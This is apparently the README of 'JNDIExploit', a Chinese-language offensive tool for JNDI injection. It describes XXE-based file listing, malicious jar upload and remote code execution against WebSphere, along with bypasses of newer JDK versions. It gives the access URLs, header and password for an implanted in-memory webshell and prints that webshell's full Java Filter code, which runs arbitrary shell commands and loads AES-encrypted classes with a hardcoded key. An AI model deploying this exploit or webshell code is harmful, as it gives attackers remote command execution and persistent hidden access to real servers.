JNDIExploit

一款用于 JNDI注入 利用的工具，大量参考/引用了 Rogue JNDI 项目的代码，支持直接植入内存shell，并集成了常见的bypass 高版本JDK的方式，适用于与自动化工具配合使用。

WebsphereBypass 中的 3 个动作：
- list：基于XXE查看目标服务器上的目录或文件内容
- upload：基于XXE的jar协议将恶意jar包上传至目标服务器的临时目录
- rce：加载已上传至目标服务器临时目录的jar包，从而达到远程代码执行的效果（这一步本地未复现成功，抛java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.异常，有复现成功的小伙伴麻烦指导下）

`内存shell`说明

采用动态添加 Filter/Controller的方式，并将添加的Filter移动至FilterChain的第一位
内存shell 的兼容性测试结果请参考 memshell 项目
Basic cmd shell 的访问方式为 /anything?type=basic&pass=[cmd]
Behinder shell 的访问方式需要修改冰蝎客户端（请参考冰蝎改造之适配基于tomcat Filter的无文件webshell 的方式二自行修改），并在访问时需要添加 X-Options-Ai 头部，密码为rebeyond

植入的 Filter 代码如下：

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[+] Dynamic Filter says hello");
        String k;
        Cipher cipher;
        if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
            k = servletRequest.getParameter("pass");
            if (k != null && !k.isEmpty()) {
                cipher = null;
                String[] cmds;
                if (File.separator.equals("/")) {
                    cmds = new String[]{"/bin/sh", "-c", k};
                } else {
                    cmds = new String[]{"cmd", "/C", k};
                }

                String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
                servletResponse.getWriter().println(result);
            }
        } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
            try {
                if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
                    k = "e45e329feb5d925b";
                    ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
                    cipher = Cipher.getInstance("AES");
                    cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
                    byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
                    Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
                    Object evilObject = evilClass.newInstance();
                    Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
                    targetMethod.invoke(evilObject, servletRequest, servletResponse);
                }
            } catch (Exception var10) {
                var10.printStackTrace();
            }
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }

    }
